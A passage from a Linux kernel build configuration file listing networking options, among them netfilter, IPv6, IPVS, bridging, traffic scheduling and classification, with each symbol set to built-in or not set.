CONFIG_NET_KEY=y
CONFIG_NET_KEY_MIGRATE=y
CONFIG_XFRM_IPTFS=y
CONFIG_XFRM_ESPINTCP=y
CONFIG_SMC=y
CONFIG_SMC_DIAG=y
# CONFIG_SMC_HS_CTRL_BPF is not set
CONFIG_DIBS=y
CONFIG_DIBS_LO=y
CONFIG_XDP_SOCKETS=y
CONFIG_XDP_SOCKETS_DIAG=y
CONFIG_NET_HANDSHAKE=y
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
CONFIG_IP_ADVANCED_ROUTER=y
CONFIG_IP_FIB_TRIE_STATS=y
CONFIG_IP_MULTIPLE_TABLES=y
CONFIG_IP_ROUTE_MULTIPATH=y
CONFIG_IP_ROUTE_VERBOSE=y
CONFIG_IP_ROUTE_CLASSID=y
CONFIG_IP_PNP=y
CONFIG_IP_PNP_DHCP=y
CONFIG_IP_PNP_BOOTP=y
CONFIG_IP_PNP_RARP=y
CONFIG_NET_IPIP=y
CONFIG_NET_IPGRE_DEMUX=y
CONFIG_NET_IP_TUNNEL=y
CONFIG_NET_IPGRE=y
CONFIG_NET_IPGRE_BROADCAST=y
CONFIG_IP_MROUTE_COMMON=y
CONFIG_IP_MROUTE=y
CONFIG_IP_MROUTE_MULTIPLE_TABLES=y
CONFIG_IP_PIMSM_V1=y
CONFIG_IP_PIMSM_V2=y
CONFIG_SYN_COOKIES=y
CONFIG_NET_IPVTI=y
CONFIG_NET_UDP_TUNNEL=y
CONFIG_NET_FOU=y
CONFIG_NET_FOU_IP_TUNNELS=y
CONFIG_INET_AH=y
CONFIG_INET_ESP=y
CONFIG_INET_ESP_OFFLOAD=y
CONFIG_INET_ESPINTCP=y
CONFIG_INET_IPCOMP=y
CONFIG_INET_TABLE_PERTURB_ORDER=16
CONFIG_INET_XFRM_TUNNEL=y
CONFIG_INET_TUNNEL=y
CONFIG_INET_DIAG=y
CONFIG_INET_TCP_DIAG=y
CONFIG_INET_UDP_DIAG=y
CONFIG_INET_RAW_DIAG=y
CONFIG_INET_DIAG_DESTROY=y
CONFIG_TCP_CONG_ADVANCED=y
CONFIG_TCP_CONG_BIC=y
CONFIG_TCP_CONG_CUBIC=y
CONFIG_TCP_CONG_WESTWOOD=y
CONFIG_TCP_CONG_HTCP=y
CONFIG_TCP_CONG_HSTCP=y
CONFIG_TCP_CONG_HYBLA=y
CONFIG_TCP_CONG_VEGAS=y
CONFIG_TCP_CONG_NV=y
CONFIG_TCP_CONG_SCALABLE=y
CONFIG_TCP_CONG_LP=y
CONFIG_TCP_CONG_VENO=y
CONFIG_TCP_CONG_YEAH=y
CONFIG_TCP_CONG_ILLINOIS=y
CONFIG_TCP_CONG_DCTCP=y
CONFIG_TCP_CONG_CDG=y
CONFIG_TCP_CONG_BBR=y
# CONFIG_DEFAULT_BIC is not set
CONFIG_DEFAULT_CUBIC=y
# CONFIG_DEFAULT_HTCP is not set
# CONFIG_DEFAULT_HYBLA is not set
# CONFIG_DEFAULT_VEGAS is not set
# CONFIG_DEFAULT_VENO is not set
# CONFIG_DEFAULT_WESTWOOD is not set
# CONFIG_DEFAULT_DCTCP is not set
# CONFIG_DEFAULT_CDG is not set
# CONFIG_DEFAULT_BBR is not set
# CONFIG_DEFAULT_RENO is not set
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_AO is not set
CONFIG_TCP_MD5SIG=y
CONFIG_IPV6=y
CONFIG_IPV6_ROUTER_PREF=y
CONFIG_IPV6_ROUTE_INFO=y
CONFIG_IPV6_OPTIMISTIC_DAD=y
CONFIG_INET6_AH=y
CONFIG_INET6_ESP=y
CONFIG_INET6_ESP_OFFLOAD=y
CONFIG_INET6_ESPINTCP=y
CONFIG_INET6_IPCOMP=y
CONFIG_IPV6_MIP6=y
CONFIG_IPV6_ILA=y
CONFIG_INET6_XFRM_TUNNEL=y
CONFIG_INET6_TUNNEL=y
CONFIG_IPV6_VTI=y
CONFIG_IPV6_SIT=y
CONFIG_IPV6_SIT_6RD=y
CONFIG_IPV6_NDISC_NODETYPE=y
CONFIG_IPV6_TUNNEL=y
CONFIG_IPV6_GRE=y
CONFIG_IPV6_FOU=y
CONFIG_IPV6_FOU_TUNNEL=y
CONFIG_IPV6_MULTIPLE_TABLES=y
CONFIG_IPV6_SUBTREES=y
CONFIG_IPV6_MROUTE=y
CONFIG_IPV6_MROUTE_MULTIPLE_TABLES=y
CONFIG_IPV6_PIMSM_V2=y
CONFIG_IPV6_SEG6_LWTUNNEL=y
CONFIG_IPV6_SEG6_HMAC=y
CONFIG_IPV6_SEG6_BPF=y
CONFIG_IPV6_RPL_LWTUNNEL=y
# CONFIG_IPV6_IOAM6_LWTUNNEL is not set
CONFIG_NETLABEL=y
CONFIG_MPTCP=y
CONFIG_INET_MPTCP_DIAG=y
CONFIG_MPTCP_IPV6=y
CONFIG_NETWORK_SECMARK=y
CONFIG_NET_PTP_CLASSIFY=y
# CONFIG_NETWORK_PHY_TIMESTAMPING is not set
CONFIG_NETFILTER=y
CONFIG_NETFILTER_ADVANCED=y
CONFIG_BRIDGE_NETFILTER=y

#
# Core Netfilter Configuration
#
CONFIG_NETFILTER_INGRESS=y
CONFIG_NETFILTER_EGRESS=y
CONFIG_NETFILTER_SKIP_EGRESS=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_NETFILTER_FAMILY_BRIDGE=y
CONFIG_NETFILTER_FAMILY_ARP=y
CONFIG_NETFILTER_BPF_LINK=y
# CONFIG_NETFILTER_NETLINK_HOOK is not set
CONFIG_NETFILTER_NETLINK_ACCT=y
CONFIG_NETFILTER_NETLINK_QUEUE=y
CONFIG_NETFILTER_NETLINK_LOG=y
CONFIG_NETFILTER_NETLINK_OSF=y
CONFIG_NF_CONNTRACK=y
CONFIG_NF_LOG_SYSLOG=y
CONFIG_NETFILTER_CONNCOUNT=y
CONFIG_NF_CONNTRACK_MARK=y
CONFIG_NF_CONNTRACK_SECMARK=y
CONFIG_NF_CONNTRACK_ZONES=y
# CONFIG_NF_CONNTRACK_PROCFS is not set
CONFIG_NF_CONNTRACK_EVENTS=y
CONFIG_NF_CONNTRACK_TIMEOUT=y
CONFIG_NF_CONNTRACK_TIMESTAMP=y
CONFIG_NF_CONNTRACK_LABELS=y
CONFIG_NF_CONNTRACK_OVS=y
CONFIG_NF_CT_PROTO_GRE=y
CONFIG_NF_CT_PROTO_SCTP=y
CONFIG_NF_CONNTRACK_AMANDA=y
CONFIG_NF_CONNTRACK_FTP=y
CONFIG_NF_CONNTRACK_H323=y
CONFIG_NF_CONNTRACK_IRC=y
CONFIG_NF_CONNTRACK_BROADCAST=y
CONFIG_NF_CONNTRACK_NETBIOS_NS=y
CONFIG_NF_CONNTRACK_SNMP=y
CONFIG_NF_CONNTRACK_PPTP=y
CONFIG_NF_CONNTRACK_SANE=y
CONFIG_NF_CONNTRACK_SIP=y
CONFIG_NF_CONNTRACK_TFTP=y
CONFIG_NF_CT_NETLINK=y
CONFIG_NF_CT_NETLINK_TIMEOUT=y
CONFIG_NF_CT_NETLINK_HELPER=y
CONFIG_NETFILTER_NETLINK_GLUE_CT=y
CONFIG_NF_NAT=y
CONFIG_NF_NAT_AMANDA=y
CONFIG_NF_NAT_FTP=y
CONFIG_NF_NAT_IRC=y
CONFIG_NF_NAT_SIP=y
CONFIG_NF_NAT_TFTP=y
CONFIG_NF_NAT_REDIRECT=y
CONFIG_NF_NAT_MASQUERADE=y
CONFIG_NF_NAT_OVS=y
CONFIG_NETFILTER_SYNPROXY=y
CONFIG_NF_TABLES=y
CONFIG_NF_TABLES_INET=y
CONFIG_NF_TABLES_NETDEV=y
CONFIG_NFT_NUMGEN=y
CONFIG_NFT_CT=y
CONFIG_NFT_EXTHDR_DCCP=y
CONFIG_NFT_FLOW_OFFLOAD=y
CONFIG_NFT_CONNLIMIT=y
CONFIG_NFT_LOG=y
CONFIG_NFT_LIMIT=y
CONFIG_NFT_MASQ=y
CONFIG_NFT_REDIR=y
CONFIG_NFT_NAT=y
CONFIG_NFT_TUNNEL=y
CONFIG_NFT_QUEUE=y
CONFIG_NFT_QUOTA=y
CONFIG_NFT_REJECT=y
CONFIG_NFT_REJECT_INET=y
CONFIG_NFT_COMPAT=y
CONFIG_NFT_HASH=y
CONFIG_NFT_FIB=y
CONFIG_NFT_FIB_INET=y
CONFIG_NFT_XFRM=y
CONFIG_NFT_SOCKET=y
CONFIG_NFT_OSF=y
CONFIG_NFT_TPROXY=y
CONFIG_NFT_SYNPROXY=y
CONFIG_NF_DUP_NETDEV=y
CONFIG_NFT_DUP_NETDEV=y
CONFIG_NFT_FWD_NETDEV=y
CONFIG_NFT_FIB_NETDEV=y
CONFIG_NFT_REJECT_NETDEV=y
CONFIG_NF_FLOW_TABLE_INET=y
CONFIG_NF_FLOW_TABLE=y
# CONFIG_NF_FLOW_TABLE_PROCFS is not set
CONFIG_NETFILTER_XTABLES=y
CONFIG_NETFILTER_XTABLES_COMPAT=y
CONFIG_NETFILTER_XTABLES_LEGACY=y

#
# Xtables combined modules
#
CONFIG_NETFILTER_XT_MARK=y
CONFIG_NETFILTER_XT_CONNMARK=y
CONFIG_NETFILTER_XT_SET=y

#
# Xtables targets
#
CONFIG_NETFILTER_XT_TARGET_AUDIT=y
CONFIG_NETFILTER_XT_TARGET_CHECKSUM=y
CONFIG_NETFILTER_XT_TARGET_CLASSIFY=y
CONFIG_NETFILTER_XT_TARGET_CONNMARK=y
CONFIG_NETFILTER_XT_TARGET_CONNSECMARK=y
CONFIG_NETFILTER_XT_TARGET_CT=y
CONFIG_NETFILTER_XT_TARGET_DSCP=y
CONFIG_NETFILTER_XT_TARGET_HL=y
CONFIG_NETFILTER_XT_TARGET_HMARK=y
CONFIG_NETFILTER_XT_TARGET_IDLETIMER=y
CONFIG_NETFILTER_XT_TARGET_LED=y
CONFIG_NETFILTER_XT_TARGET_LOG=y
CONFIG_NETFILTER_XT_TARGET_MARK=y
CONFIG_NETFILTER_XT_NAT=y
CONFIG_NETFILTER_XT_TARGET_NETMAP=y
CONFIG_NETFILTER_XT_TARGET_NFLOG=y
CONFIG_NETFILTER_XT_TARGET_NFQUEUE=y
CONFIG_NETFILTER_XT_TARGET_NOTRACK=y
CONFIG_NETFILTER_XT_TARGET_RATEEST=y
CONFIG_NETFILTER_XT_TARGET_REDIRECT=y
CONFIG_NETFILTER_XT_TARGET_MASQUERADE=y
CONFIG_NETFILTER_XT_TARGET_TEE=y
CONFIG_NETFILTER_XT_TARGET_TPROXY=y
CONFIG_NETFILTER_XT_TARGET_TRACE=y
CONFIG_NETFILTER_XT_TARGET_SECMARK=y
CONFIG_NETFILTER_XT_TARGET_TCPMSS=y
CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP=y

#
# Xtables matches
#
CONFIG_NETFILTER_XT_MATCH_ADDRTYPE=y
CONFIG_NETFILTER_XT_MATCH_BPF=y
CONFIG_NETFILTER_XT_MATCH_CGROUP=y
CONFIG_NETFILTER_XT_MATCH_CLUSTER=y
CONFIG_NETFILTER_XT_MATCH_COMMENT=y
CONFIG_NETFILTER_XT_MATCH_CONNBYTES=y
CONFIG_NETFILTER_XT_MATCH_CONNLABEL=y
CONFIG_NETFILTER_XT_MATCH_CONNLIMIT=y
CONFIG_NETFILTER_XT_MATCH_CONNMARK=y
CONFIG_NETFILTER_XT_MATCH_CONNTRACK=y
CONFIG_NETFILTER_XT_MATCH_CPU=y
CONFIG_NETFILTER_XT_MATCH_DCCP=y
CONFIG_NETFILTER_XT_MATCH_DEVGROUP=y
CONFIG_NETFILTER_XT_MATCH_DSCP=y
CONFIG_NETFILTER_XT_MATCH_ECN=y
CONFIG_NETFILTER_XT_MATCH_ESP=y
CONFIG_NETFILTER_XT_MATCH_HASHLIMIT=y
CONFIG_NETFILTER_XT_MATCH_HELPER=y
CONFIG_NETFILTER_XT_MATCH_HL=y
CONFIG_NETFILTER_XT_MATCH_IPCOMP=y
CONFIG_NETFILTER_XT_MATCH_IPRANGE=y
CONFIG_NETFILTER_XT_MATCH_IPVS=y
CONFIG_NETFILTER_XT_MATCH_L2TP=y
CONFIG_NETFILTER_XT_MATCH_LENGTH=y
CONFIG_NETFILTER_XT_MATCH_LIMIT=y
CONFIG_NETFILTER_XT_MATCH_MAC=y
CONFIG_NETFILTER_XT_MATCH_MARK=y
CONFIG_NETFILTER_XT_MATCH_MULTIPORT=y
CONFIG_NETFILTER_XT_MATCH_NFACCT=y
CONFIG_NETFILTER_XT_MATCH_OSF=y
CONFIG_NETFILTER_XT_MATCH_OWNER=y
CONFIG_NETFILTER_XT_MATCH_POLICY=y
CONFIG_NETFILTER_XT_MATCH_PHYSDEV=y
CONFIG_NETFILTER_XT_MATCH_PKTTYPE=y
CONFIG_NETFILTER_XT_MATCH_QUOTA=y
CONFIG_NETFILTER_XT_MATCH_RATEEST=y
CONFIG_NETFILTER_XT_MATCH_REALM=y
CONFIG_NETFILTER_XT_MATCH_RECENT=y
CONFIG_NETFILTER_XT_MATCH_SCTP=y
CONFIG_NETFILTER_XT_MATCH_SOCKET=y
CONFIG_NETFILTER_XT_MATCH_STATE=y
CONFIG_NETFILTER_XT_MATCH_STATISTIC=y
CONFIG_NETFILTER_XT_MATCH_STRING=y
CONFIG_NETFILTER_XT_MATCH_TCPMSS=y
CONFIG_NETFILTER_XT_MATCH_TIME=y
CONFIG_NETFILTER_XT_MATCH_U32=y
# end of Core Netfilter Configuration

CONFIG_IP_SET=y
CONFIG_IP_SET_MAX=256
CONFIG_IP_SET_BITMAP_IP=y
CONFIG_IP_SET_BITMAP_IPMAC=y
CONFIG_IP_SET_BITMAP_PORT=y
CONFIG_IP_SET_HASH_IP=y
CONFIG_IP_SET_HASH_IPMARK=y
CONFIG_IP_SET_HASH_IPPORT=y
CONFIG_IP_SET_HASH_IPPORTIP=y
CONFIG_IP_SET_HASH_IPPORTNET=y
CONFIG_IP_SET_HASH_IPMAC=y
CONFIG_IP_SET_HASH_MAC=y
CONFIG_IP_SET_HASH_NETPORTNET=y
CONFIG_IP_SET_HASH_NET=y
CONFIG_IP_SET_HASH_NETNET=y
CONFIG_IP_SET_HASH_NETPORT=y
CONFIG_IP_SET_HASH_NETIFACE=y
CONFIG_IP_SET_LIST_SET=y
CONFIG_IP_VS=y
CONFIG_IP_VS_IPV6=y
# CONFIG_IP_VS_DEBUG is not set
CONFIG_IP_VS_TAB_BITS=12

#
# IPVS transport protocol load balancing support
#
CONFIG_IP_VS_PROTO_TCP=y
CONFIG_IP_VS_PROTO_UDP=y
CONFIG_IP_VS_PROTO_AH_ESP=y
CONFIG_IP_VS_PROTO_ESP=y
CONFIG_IP_VS_PROTO_AH=y
CONFIG_IP_VS_PROTO_SCTP=y

#
# IPVS scheduler
#
CONFIG_IP_VS_RR=y
CONFIG_IP_VS_WRR=y
CONFIG_IP_VS_LC=y
CONFIG_IP_VS_WLC=y
CONFIG_IP_VS_FO=y
CONFIG_IP_VS_OVF=y
CONFIG_IP_VS_LBLC=y
CONFIG_IP_VS_LBLCR=y
CONFIG_IP_VS_DH=y
CONFIG_IP_VS_SH=y
CONFIG_IP_VS_MH=y
CONFIG_IP_VS_SED=y
CONFIG_IP_VS_NQ=y
CONFIG_IP_VS_TWOS=y

#
# IPVS SH scheduler
#
CONFIG_IP_VS_SH_TAB_BITS=8

#
# IPVS MH scheduler
#
CONFIG_IP_VS_MH_TAB_INDEX=12

#
# IPVS application helper
#
CONFIG_IP_VS_FTP=y
CONFIG_IP_VS_NFCT=y
CONFIG_IP_VS_PE_SIP=y

#
# IP: Netfilter Configuration
#
CONFIG_NF_DEFRAG_IPV4=y
CONFIG_IP_NF_IPTABLES_LEGACY=y
CONFIG_NF_SOCKET_IPV4=y
CONFIG_NF_TPROXY_IPV4=y
CONFIG_NF_TABLES_IPV4=y
CONFIG_NFT_REJECT_IPV4=y
CONFIG_NFT_DUP_IPV4=y
CONFIG_NFT_FIB_IPV4=y
CONFIG_NF_TABLES_ARP=y
CONFIG_NF_DUP_IPV4=y
CONFIG_NF_LOG_ARP=y
CONFIG_NF_LOG_IPV4=y
CONFIG_NF_REJECT_IPV4=y
CONFIG_NF_NAT_SNMP_BASIC=y
CONFIG_NF_NAT_PPTP=y
CONFIG_NF_NAT_H323=y
CONFIG_IP_NF_IPTABLES=y
CONFIG_IP_NF_MATCH_AH=y
CONFIG_IP_NF_MATCH_ECN=y
CONFIG_IP_NF_MATCH_RPFILTER=y
CONFIG_IP_NF_MATCH_TTL=y
CONFIG_IP_NF_FILTER=y
CONFIG_IP_NF_TARGET_REJECT=y
CONFIG_IP_NF_TARGET_SYNPROXY=y
CONFIG_IP_NF_NAT=y
CONFIG_IP_NF_TARGET_MASQUERADE=y
CONFIG_IP_NF_TARGET_NETMAP=y
CONFIG_IP_NF_TARGET_REDIRECT=y
CONFIG_IP_NF_MANGLE=y
CONFIG_IP_NF_TARGET_ECN=y
CONFIG_IP_NF_TARGET_TTL=y
CONFIG_IP_NF_RAW=y
CONFIG_IP_NF_SECURITY=y
CONFIG_IP_NF_ARPTABLES=y
CONFIG_NFT_COMPAT_ARP=y
CONFIG_IP_NF_ARPFILTER=y
CONFIG_IP_NF_ARP_MANGLE=y
# end of IP: Netfilter Configuration

#
# IPv6: Netfilter Configuration
#
CONFIG_IP6_NF_IPTABLES_LEGACY=y
CONFIG_NF_SOCKET_IPV6=y
CONFIG_NF_TPROXY_IPV6=y
CONFIG_NF_TABLES_IPV6=y
CONFIG_NFT_REJECT_IPV6=y
CONFIG_NFT_DUP_IPV6=y
CONFIG_NFT_FIB_IPV6=y
CONFIG_NF_DUP_IPV6=y
CONFIG_NF_REJECT_IPV6=y
CONFIG_NF_LOG_IPV6=y
CONFIG_IP6_NF_IPTABLES=y
CONFIG_IP6_NF_MATCH_AH=y
CONFIG_IP6_NF_MATCH_EUI64=y
CONFIG_IP6_NF_MATCH_FRAG=y
CONFIG_IP6_NF_MATCH_OPTS=y
CONFIG_IP6_NF_MATCH_HL=y
CONFIG_IP6_NF_MATCH_IPV6HEADER=y
CONFIG_IP6_NF_MATCH_MH=y
CONFIG_IP6_NF_MATCH_RPFILTER=y
CONFIG_IP6_NF_MATCH_RT=y
CONFIG_IP6_NF_MATCH_SRH=y
CONFIG_IP6_NF_TARGET_HL=y
CONFIG_IP6_NF_FILTER=y
CONFIG_IP6_NF_TARGET_REJECT=y
CONFIG_IP6_NF_TARGET_SYNPROXY=y
CONFIG_IP6_NF_MANGLE=y
CONFIG_IP6_NF_RAW=y
CONFIG_IP6_NF_SECURITY=y
CONFIG_IP6_NF_NAT=y
CONFIG_IP6_NF_TARGET_MASQUERADE=y
CONFIG_IP6_NF_TARGET_NPT=y
# end of IPv6: Netfilter Configuration

CONFIG_NF_DEFRAG_IPV6=y
CONFIG_NF_TABLES_BRIDGE=y
CONFIG_NFT_BRIDGE_META=y
CONFIG_NFT_BRIDGE_REJECT=y
CONFIG_NF_CONNTRACK_BRIDGE=y
CONFIG_BRIDGE_NF_EBTABLES_LEGACY=y
CONFIG_BRIDGE_NF_EBTABLES=y
CONFIG_BRIDGE_EBT_BROUTE=y
CONFIG_BRIDGE_EBT_T_FILTER=y
CONFIG_BRIDGE_EBT_T_NAT=y
CONFIG_BRIDGE_EBT_802_3=y
CONFIG_BRIDGE_EBT_AMONG=y
CONFIG_BRIDGE_EBT_ARP=y
CONFIG_BRIDGE_EBT_IP=y
CONFIG_BRIDGE_EBT_IP6=y
CONFIG_BRIDGE_EBT_LIMIT=y
CONFIG_BRIDGE_EBT_MARK=y
CONFIG_BRIDGE_EBT_PKTTYPE=y
CONFIG_BRIDGE_EBT_STP=y
CONFIG_BRIDGE_EBT_VLAN=y
CONFIG_BRIDGE_EBT_ARPREPLY=y
CONFIG_BRIDGE_EBT_DNAT=y
CONFIG_BRIDGE_EBT_MARK_T=y
CONFIG_BRIDGE_EBT_REDIRECT=y
CONFIG_BRIDGE_EBT_SNAT=y
CONFIG_BRIDGE_EBT_LOG=y
CONFIG_BRIDGE_EBT_NFLOG=y
CONFIG_IP_SCTP=y
# CONFIG_SCTP_DBG_OBJCNT is not set
CONFIG_SCTP_DEFAULT_COOKIE_HMAC_SHA256=y
# CONFIG_SCTP_DEFAULT_COOKIE_HMAC_NONE is not set
CONFIG_INET_SCTP_DIAG=y
CONFIG_RDS=y
CONFIG_RDS_RDMA=y
CONFIG_RDS_TCP=y
# CONFIG_RDS_DEBUG is not set
CONFIG_TIPC=y
CONFIG_TIPC_MEDIA_IB=y
CONFIG_TIPC_MEDIA_UDP=y
CONFIG_TIPC_CRYPTO=y
CONFIG_TIPC_DIAG=y
CONFIG_ATM=y
CONFIG_ATM_BR2684=y
# CONFIG_ATM_BR2684_IPFILTER is not set
CONFIG_L2TP=y
# CONFIG_L2TP_DEBUGFS is not set
CONFIG_L2TP_V3=y
CONFIG_L2TP_IP=y
CONFIG_L2TP_ETH=y
CONFIG_STP=y
CONFIG_GARP=y
CONFIG_MRP=y
CONFIG_BRIDGE=y
CONFIG_BRIDGE_IGMP_SNOOPING=y
CONFIG_BRIDGE_VLAN_FILTERING=y
CONFIG_BRIDGE_MRP=y
CONFIG_BRIDGE_CFM=y
CONFIG_NET_DSA=y
# CONFIG_NET_DSA_TAG_NONE is not set
# CONFIG_NET_DSA_TAG_AR9331 is not set
CONFIG_NET_DSA_TAG_BRCM_COMMON=y
CONFIG_NET_DSA_TAG_BRCM=y
# CONFIG_NET_DSA_TAG_BRCM_LEGACY is not set
# CONFIG_NET_DSA_TAG_BRCM_LEGACY_FCS is not set
CONFIG_NET_DSA_TAG_BRCM_PREPEND=y
# CONFIG_NET_DSA_TAG_HELLCREEK is not set
# CONFIG_NET_DSA_TAG_GSWIP is not set
# CONFIG_NET_DSA_TAG_DSA is not set
# CONFIG_NET_DSA_TAG_EDSA is not set
# CONFIG_NET_DSA_TAG_MT7628 is not set
CONFIG_NET_DSA_TAG_MTK=y
# CONFIG_NET_DSA_TAG_MXL_862XX is not set
# CONFIG_NET_DSA_TAG_MXL_GSW1XX is not set
# CONFIG_NET_DSA_TAG_KSZ is not set
# CONFIG_NET_DSA_TAG_NETC is not set
# CONFIG_NET_DSA_TAG_OCELOT is not set
# CONFIG_NET_DSA_TAG_OCELOT_8021Q is not set
CONFIG_NET_DSA_TAG_QCA=y
CONFIG_NET_DSA_TAG_RTL4_A=y
# CONFIG_NET_DSA_TAG_RTL8_4 is not set
# CONFIG_NET_DSA_TAG_RZN1_A5PSW is not set
# CONFIG_NET_DSA_TAG_LAN9303 is not set
# CONFIG_NET_DSA_TAG_SJA1105 is not set
# CONFIG_NET_DSA_TAG_TRAILER is not set
# CONFIG_NET_DSA_TAG_VSC73XX_8021Q is not set
# CONFIG_NET_DSA_TAG_XRS700X is not set
# CONFIG_NET_DSA_TAG_YT921X is not set
CONFIG_VLAN_8021Q=y
CONFIG_VLAN_8021Q_GVRP=y
CONFIG_VLAN_8021Q_MVRP=y
CONFIG_LLC=y
CONFIG_LLC2=y
CONFIG_X25=y
CONFIG_LAPB=y
CONFIG_PHONET=y
CONFIG_6LOWPAN=y
# CONFIG_6LOWPAN_DEBUGFS is not set
CONFIG_6LOWPAN_NHC=y
CONFIG_6LOWPAN_NHC_DEST=y
CONFIG_6LOWPAN_NHC_FRAGMENT=y
CONFIG_6LOWPAN_NHC_HOP=y
CONFIG_6LOWPAN_NHC_IPV6=y
CONFIG_6LOWPAN_NHC_MOBILITY=y
CONFIG_6LOWPAN_NHC_ROUTING=y
CONFIG_6LOWPAN_NHC_UDP=y
CONFIG_6LOWPAN_GHC_EXT_HDR_HOP=y
CONFIG_6LOWPAN_GHC_UDP=y
CONFIG_6LOWPAN_GHC_ICMPV6=y
CONFIG_6LOWPAN_GHC_EXT_HDR_DEST=y
CONFIG_6LOWPAN_GHC_EXT_HDR_FRAG=y
CONFIG_6LOWPAN_GHC_EXT_HDR_ROUTE=y
CONFIG_IEEE802154=y
CONFIG_IEEE802154_NL802154_EXPERIMENTAL=y
CONFIG_IEEE802154_SOCKET=y
CONFIG_IEEE802154_6LOWPAN=y
CONFIG_MAC802154=y
CONFIG_NET_SCHED=y

#
# Queueing/Scheduling
#
CONFIG_NET_SCH_HTB=y
CONFIG_NET_SCH_HFSC=y
CONFIG_NET_SCH_PRIO=y
CONFIG_NET_SCH_MULTIQ=y
CONFIG_NET_SCH_RED=y
CONFIG_NET_SCH_SFB=y
CONFIG_NET_SCH_SFQ=y
CONFIG_NET_SCH_TEQL=y
CONFIG_NET_SCH_TBF=y
CONFIG_NET_SCH_CBS=y
CONFIG_NET_SCH_ETF=y
CONFIG_NET_SCH_MQPRIO_LIB=y
CONFIG_NET_SCH_TAPRIO=y
CONFIG_NET_SCH_GRED=y
CONFIG_NET_SCH_NETEM=y
CONFIG_NET_SCH_DRR=y
CONFIG_NET_SCH_MQPRIO=y
CONFIG_NET_SCH_SKBPRIO=y
CONFIG_NET_SCH_CHOKE=y
CONFIG_NET_SCH_QFQ=y
CONFIG_NET_SCH_CODEL=y
CONFIG_NET_SCH_FQ_CODEL=y
CONFIG_NET_SCH_CAKE=y
CONFIG_NET_SCH_FQ=y
CONFIG_NET_SCH_HHF=y
CONFIG_NET_SCH_PIE=y
CONFIG_NET_SCH_FQ_PIE=y
CONFIG_NET_SCH_INGRESS=y
CONFIG_NET_SCH_PLUG=y
CONFIG_NET_SCH_ETS=y
# CONFIG_NET_SCH_DUALPI2 is not set
CONFIG_NET_SCH_DEFAULT=y
# CONFIG_DEFAULT_FQ is not set
CONFIG_DEFAULT_CODEL=y
# CONFIG_DEFAULT_FQ_CODEL is not set
# CONFIG_DEFAULT_FQ_PIE is not set
# CONFIG_DEFAULT_SFQ is not set
# CONFIG_DEFAULT_PFIFO_FAST is not set
CONFIG_DEFAULT_NET_SCH="pfifo_fast"

#
# Classification
#
CONFIG_NET_CLS=y
CONFIG_NET_CLS_BASIC=y
CONFIG_NET_CLS_ROUTE4=y
CONFIG_NET_CLS_FW=y
CONFIG_NET_CLS_U32=y
CONFIG_CLS_U32_PERF=y
CONFIG_CLS_U32_MARK=y
CONFIG_NET_CLS_FLOW=y
CONFIG_NET_CLS_CGROUP=y
CONFIG_NET_CLS_BPF=y
CONFIG_NET_CLS_FLOWER=y
CONFIG_NET_CLS_MATCHALL=y
CONFIG_NET_EMATCH=y
CONFIG_NET_EMATCH_STACK=32
CONFIG_NET_EMATCH_CMP=y
CONFIG_NET_EMATCH_NBYTE=y
CONFIG_NET_EMATCH_U32=y
CONFIG_NET_EMATCH_META=y
CONFIG_NET_EMATCH_TEXT=y
CONFIG_NET_EMATCH_CANID=y
CONFIG_NET_EMATCH_IPSET=y
CONFIG_NET_EMATCH_IPT=y
CONFIG_NET_CLS_ACT=y
CONFIG_NET_ACT_POLICE=y
CONFIG_NET_ACT_GACT=y
CONFIG_GACT_PROB=y
CONFIG_NET_ACT_MIRRED=y
CONFIG_NET_ACT_SAMPLE=y
CONFIG_NET_ACT_NAT=y
CONFIG_NET_ACT_PEDIT=y
CONFIG_NET_ACT_SIMP=y
CONFIG_NET_ACT_SKBEDIT=y
CONFIG_NET_ACT_CSUM=y
CONFIG_NET_ACT_MPLS=y
CONFIG_NET_ACT_VLAN=y
CONFIG_NET_ACT_BPF=y
CONFIG_NET_ACT_CONNMARK=y
CONFIG_NET_ACT_CTINFO=y
CONFIG_NET_ACT_SKBMOD=y
CONFIG_NET_ACT_IFE=y
CONFIG_NET_ACT_TUNNEL_KEY=y
CONFIG_NET_ACT_CT=y
CONFIG_NET_ACT_GATE=y
CONFIG_NET_IFE_SKBMARK=y
CONFIG_NET_IFE_SKBPRIO=y
CONFIG_NET_IFE_SKBTCINDEX=y
CONFIG_NET_TC_SKB_EXT=y
CONFIG_NET_SCH_FIFO=y
CONFIG_DCB=y
CONFIG_DNS_RESOLVER=y
CONFIG_BATMAN_ADV=y
CONFIG_BATMAN_ADV_BATMAN_V=y
CONFIG_BATMAN_ADV_BLA=y
CONFIG_BATMAN_ADV_DAT=y
CONFIG_BATMAN_ADV_MCAST=y
# CONFIG_BATMAN_ADV_DEBUG is not set
# CONFIG_BATMAN_ADV_TRACING is not set
CONFIG_OPENVSWITCH=y
CONFIG_VSOCKETS=y
CONFIG_VSOCKETS_DIAG=y
CONFIG_VSOCKETS_LOOPBACK=y
# CONFIG_VMWARE_VMCI_VSOCKETS is not set
CONFIG_VIRTIO_VSOCKETS=y
CONFIG_VIRTIO_VSOCKETS_COMMON=y
CONFIG_NETLINK_DIAG=y
CONFIG_MPLS=y
CONFIG_NET_MPLS_GSO=y
CONFIG_MPLS_ROUTING=y
CONFIG_MPLS_IPTUNNEL=y
CONFIG_NET_NSH=y
CONFIG_HSR=y
CONFIG_NET_SWITCHDEV=y
CONFIG_NET_L3_MASTER_DEV=y
CONFIG_QRTR=y
CONFIG_QRTR_TUN=y
# CONFIG_QRTR_MHI is not set
CONFIG_NET_NCSI=y
# CONFIG_NCSI_OEM_CMD_GET_MAC is not set
# CONFIG_NCSI_OEM_CMD_KEEP_PHY is not set
# CONFIG_PCPU_DEV_REFCNT is not set
CONFIG_MAX_SKB_FRAGS=17
CONFIG_RPS=y
CONFIG_RFS_ACCEL=y
CONFIG_SOCK_RX_QUEUE_MAPPING=y
CONFIG_XPS=y
CONFIG_CGROUP_NET_PRIO=y
CONFIG_CGROUP_NET_CLASSID=y
CONFIG_NET_RX_BUSY_POLL=y
CONFIG_BQL=y
CONFIG_NET_FLOW_LIMIT=y

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
CONFIG_NET_DROP_MONITOR=y
# end of Network testing
# end of Networking options

CONFIG_CAN=y
CONFIG_CAN_RAW=y
CONFIG_CAN_BCM=y
CONFIG_CAN_GW=y
